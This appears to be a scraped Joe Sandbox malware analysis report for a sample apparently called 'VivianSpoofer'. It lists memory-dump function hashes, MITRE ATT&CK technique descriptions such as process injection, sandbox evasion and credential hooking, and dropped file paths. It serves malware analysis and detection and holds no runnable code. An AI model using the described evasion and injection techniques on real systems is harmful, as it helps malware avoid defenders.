Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1963b5a0dc0845c975fd0c00704ae2ea73934bef0ca86c1b46b452fe2221ecab
Instruction ID: 41e4e9e09b39798fc8d37996104e59c7c95d00c2501c6c6240774157a97bcf0f
Opcode Fuzzy Hash: 1963b5a0dc0845c975fd0c00704ae2ea73934bef0ca86c1b46b452fe2221ecab
Instruction Fuzzy Hash: 9901DF31B2AD268FE754A72CA448660B3D0EF593283108679D80CC73A1DE29EC8183C4

Function 00007FFAAC47CA55 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d25cfa09951b7df0cb2868b341bd97809aa3ced5ffe67bbd8972ec678c7bbcf
Instruction ID: 3d77da0b16d1e6848c29645895d78f5d87465d0274eb2f87bc89055e6052164c
Opcode Fuzzy Hash: 1d25cfa09951b7df0cb2868b341bd97809aa3ced5ffe67bbd8972ec678c7bbcf
Instruction Fuzzy Hash: 0D01AD313185018FCB1CEA2DD81555973D7EBDC310B24926EF44ACB3EAED20DC128684

Function 00007FFAAC4748D0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c32d89ae6678095720de20b307b639463deff195a622967111a6e8a43eded56e
Instruction ID: 52332a31c8be1d7ff082f38c0300c242302646372feb340487174368ef89c24c
Opcode Fuzzy Hash: c32d89ae6678095720de20b307b639463deff195a622967111a6e8a43eded56e
Instruction Fuzzy Hash: 2F01243450DB898FD399DB28C444831BBF0EF8621430486AAC08EC7652CE28EC4ACB96

Function 00007FFAAC471CD0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75f23b3bb184a96dfd6e9917cccd5963398b5395a2387dd2b30e033e0168c0e1
Instruction ID: 7ccc52470af2639c18c72840213617073b86d9f4c6fd23864e64d1bb0d0c698f
Opcode Fuzzy Hash: 75f23b3bb184a96dfd6e9917cccd5963398b5395a2387dd2b30e033e0168c0e1
Instruction Fuzzy Hash: 6401D271D2994D9FE74CCB98C9A45BC7BF0EF09304B10816E901BE3692DA386A05CF80

Function 00007FFAAC476B20 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 357fcf135854e3e7e9a7a86a07265aeef19d740e5c4962c8fa8ab608b5fe35e6
Instruction ID: c021e24a6cb0e5ee604db3c27fa933331c92c6fd70267540200d724bd1af69a5
Opcode Fuzzy Hash: 357fcf135854e3e7e9a7a86a07265aeef19d740e5c4962c8fa8ab608b5fe35e6
Instruction Fuzzy Hash: 89F0F9629CE3A14BE302A77CA4B94E53FA08F4321C30541FBD0898B2E7D914A84A87D1

Function 00007FFAAC470A15 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95b8de2528bf8665ab4dfe7582f875927d2f2f9ba56ab0537cb02dce4df205de
Instruction ID: 909113507c343ef8606d3db3914cc3c46784f17c9500f1b9873ed5f1fa21326d
Opcode Fuzzy Hash: 95b8de2528bf8665ab4dfe7582f875927d2f2f9ba56ab0537cb02dce4df205de
Instruction Fuzzy Hash: 71014B31609A58CFE2A6EB3CD058AB477F1EF4931475142BED00EC7265DA24A885C784

Function 00007FFAAC548B11 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2579070730.00007FFAAC540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac540000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fc0ba234d99db02392b4101b2f5cc19684a2dd157d3d08f000305c3a9aec113
Instruction ID: 14bb6253b1541025894f0bdafddeb87d0fd09daf006199b4455d614061e9236a
Opcode Fuzzy Hash: 5fc0ba234d99db02392b4101b2f5cc19684a2dd157d3d08f000305c3a9aec113
Instruction Fuzzy Hash: FFF0F65298E9CA4FF34A9B6C69240A42FD6CF67110B0941F7D49CC7197DC09AC4EC3D1

Function 00007FFAAC47A2C5 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbcc50e413838daeeab4161362b2ec21254356ff918757910d3e73568ff5cf7d
Instruction ID: d17e0298883ce46ef59ec105a964cc72e896e7c37dc3becf43b58b5e58c598bd
Opcode Fuzzy Hash: bbcc50e413838daeeab4161362b2ec21254356ff918757910d3e73568ff5cf7d
Instruction Fuzzy Hash: 02F0D17390E7648FF3749A08A8051F5B3D0EB9A324F01057AC88D93281EA36A85A46C5

Function 00007FFAAC472699 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e3ee863483610dcb175348f6d441aefad65acf32301cf5f62800723f271b48e
Instruction ID: 929f779931e80756a8d63f45d0c91c1d8a3c737c266630f3cae6b96e4d4e3a64
Opcode Fuzzy Hash: 8e3ee863483610dcb175348f6d441aefad65acf32301cf5f62800723f271b48e
Instruction Fuzzy Hash: ADF0AF70829B8E8FDB46EF348C185FA7BB0FF56200B4104ABE859C32A2DA3459188741

Function 00007FFAAC470788 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b281287d579a98c760b0d44ee353291464ff22f0b015c04b6e84890547792124
Instruction ID: 37dcefe48e36276ad05ecb941daf33c76b605aa25bf847b4180596593f3f2c79
Opcode Fuzzy Hash: b281287d579a98c760b0d44ee353291464ff22f0b015c04b6e84890547792124
Instruction Fuzzy Hash: 3BF0EC53B1ED5E8BE998A32C540E5F957D1DB9525471482B6D40FD3185DD049C0D03C5

Function 00007FFAAC474E50 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a6be86c0f98dedc0ff0df8d4a2194c8884e1e4db3ffe43a603c5c6bfaf7af09
Instruction ID: 4e5f0fe873834d11b3fca25ce51cdb0a1d64611413b980ed4f8a3aa163e55df0
Opcode Fuzzy Hash: 4a6be86c0f98dedc0ff0df8d4a2194c8884e1e4db3ffe43a603c5c6bfaf7af09
Instruction Fuzzy Hash: D3F06D173285254BF24CAD3DC46603E22C3DB99A1671A557EA5C7C32D2DC28E50A1298

Function 00007FFAAC47C669 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 906cc9eee244ed508c18fed4c5ddc17ddb48fdf8cf1a73cf7181388c1d26bd05
Instruction ID: 4902cfac938e5923d9546d8b2870dd4e501a6ac86dc4d6c2c7d8714c665e24ac
Opcode Fuzzy Hash: 906cc9eee244ed508c18fed4c5ddc17ddb48fdf8cf1a73cf7181388c1d26bd05
Instruction Fuzzy Hash: D1F02B73E1EA354AF31C552CF8150B5B380E756B2A321553ED9CB925D3EE19B84741C8

Function 00007FFAAC472309 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df832cb036e9640a1584c28a109a4eaa2855fc5f49cf2889ff751c12f3c36aaf
Instruction ID: e40c037c715233e438d0b964d34a02ad389a2163e2403ef1f80694dd69a8f315
Opcode Fuzzy Hash: df832cb036e9640a1584c28a109a4eaa2855fc5f49cf2889ff751c12f3c36aaf
Instruction Fuzzy Hash: DBE06D21B099598FE348A72CE4017A662D5DBCA350F5481BAF54DC339BED699C464381

Function 00007FFAAC473FB0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 141f611bb4223c39036e7861fef99b88c5c2e17dd72eb3867ed902e561147f41
Instruction ID: 3b4a2c8c83afce7d0cb94252251c3c8421e5ed44c5266afbb059e506e1088163
Opcode Fuzzy Hash: 141f611bb4223c39036e7861fef99b88c5c2e17dd72eb3867ed902e561147f41
Instruction Fuzzy Hash: C9F06D31506A0CDFCB88FF69D8449A63BA5FF89319B50056DE40DC7281CB36E866CB80

Function 00007FFAAC470B42 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 934b3624857d9fb7755532da71ab4e249f512ccee942c784ad01b53c38495da1
Instruction ID: 74aaad465f9064b96f466e1a0a84ae0b79c90d116c67fad0aa408060c695fa20
Opcode Fuzzy Hash: 934b3624857d9fb7755532da71ab4e249f512ccee942c784ad01b53c38495da1
Instruction Fuzzy Hash: A1E0E565C8A26387F204A738886D8F9BBE29F0224C70441B9E04D872D3CB14F85546D1

Function 00007FFAAC483110 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da3929131639491b38b1582d45163f1f0a44664cb0dac71c45e56b7fc03c6cad
Instruction ID: f66e3b3e668ad5afcb74f74849b4607fe3bbd7825b7adf8caa13c8785f69027d
Opcode Fuzzy Hash: da3929131639491b38b1582d45163f1f0a44664cb0dac71c45e56b7fc03c6cad
Instruction Fuzzy Hash: 38E04F70518B184FE798EF2890596BA7AD0EBA8355F401A2FB48AD3390DB7589848782

Function 00007FFAAC47B7A0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5112c94f484a0e52f89a4aa36acbf56564331633af3a4cc70220a003eca94fc1
Instruction ID: 29cf45f2cdcc90d566ed0c08eaa5fc61bb012f7ed525de6c7a38f18a00161582
Opcode Fuzzy Hash: 5112c94f484a0e52f89a4aa36acbf56564331633af3a4cc70220a003eca94fc1
Instruction Fuzzy Hash: 98E092A481E3D04FE31657344C26595BFA0AB43214F8805EEE4C9CB193C56C9149C392

Function 00007FFAAC4742E0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e10d4268cb6e634c348df56b1cfea2af06bd4419f2dd36dbce82d286c5cc32b
Instruction ID: a77444c5f2e5859d05cdc9b71c9d99af15e378e81ac4f4ae56989f34d537f8b3
Opcode Fuzzy Hash: 5e10d4268cb6e634c348df56b1cfea2af06bd4419f2dd36dbce82d286c5cc32b
Instruction Fuzzy Hash: CAD02311A59C1D1B5A58F22DB84DDFA32D1CBD92247444137D80FC3659DC485C8643C5

Function 00007FFAAC471638 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59c2fedeea5361caa1324063a16a5d59ddadb35710912c867181a5c235f0c9ed
Instruction ID: 818cb371db0b73b31f815f5323060c426790b610c044b474805c96a50592896f
Opcode Fuzzy Hash: 59c2fedeea5361caa1324063a16a5d59ddadb35710912c867181a5c235f0c9ed
Instruction Fuzzy Hash: FFD0127083865447E754BB34480556AB6D0FB84349FC0152DB88DC1190DB2CD2488686

Function 00007FFAAC5483B2 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2579070730.00007FFAAC540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac540000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89ac24cd797873ca2f58346f99ea54762b70a97639744acd492ae42a39d15782
Instruction ID: 5e27bcd3fa45670933ba7366ea6f4f0471aff0ee47e329fd7f88a0b10974a88e
Opcode Fuzzy Hash: 89ac24cd797873ca2f58346f99ea54762b70a97639744acd492ae42a39d15782
Instruction Fuzzy Hash: F8C08093CCF74647E60975759D574953BBADF56340F4C04A1D40588047E80E555902A3

Function 00007FFAAC4D3D50 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a938cc37eadbcdecaa909c327afa560ca575248c9f5700f4facc3ec02be8ff10
Instruction ID: 36be83c4b71f6a611d024e65bbf35ac1a5d4e1a5f82995e6a6e8055426fd3fba
Opcode Fuzzy Hash: a938cc37eadbcdecaa909c327afa560ca575248c9f5700f4facc3ec02be8ff10
Instruction Fuzzy Hash: 23B09230853A0D9BD618B73988860507261AB4A208BD440A8D80C8A682EA6F9CDAC78A

Non-executed Functions

Function 00007FFAAC540F61 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2579070730.00007FFAAC540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac540000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41d6a906afe3e85a10ccfc7a0022677bf7c3791bbb9c6aeb2d1576b9e1785939
Instruction ID: 4ec964b8129535f722ecb6ea0bca9907028ecd7f7c0d4530589d7e18a230bcbc
Opcode Fuzzy Hash: 41d6a906afe3e85a10ccfc7a0022677bf7c3791bbb9c6aeb2d1576b9e1785939
Instruction Fuzzy Hash: EC018F4188F7C3AEE7072374DA554613FB95F93204B1940F6E48CCE0A3E809A50EC362

Function 00007FFAAC470F7D Relevance: 5.0, Strings: 4, Instructions: 18COMMON

Download Yara Rule

Strings

!+5, xrefs: 00007FFAAC470F8E
#;5, xrefs: 00007FFAAC470F7E
s, xrefs: 00007FFAAC470F96
"35, xrefs: 00007FFAAC470F86

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: s$!+5$"35$#;5
API String ID: 0-3893703743
Opcode ID: e2ede7310dcc3379b5d5b82ff080a29710685f31ba132a7e9ae751bae41e3466
Instruction ID: e7eee8f76a1f3e774fbf093d5018a2eb8ff61d3c365e8ce178075cbe735e5545
Opcode Fuzzy Hash: e2ede7310dcc3379b5d5b82ff080a29710685f31ba132a7e9ae751bae41e3466
Instruction Fuzzy Hash: B0D0120BF77835135915138EF8212DCD758E5C44B37D141B3DA48D215051C4781B93D1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aYu936prD4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\aYu936prD4.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Aut[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Aut[1].htm

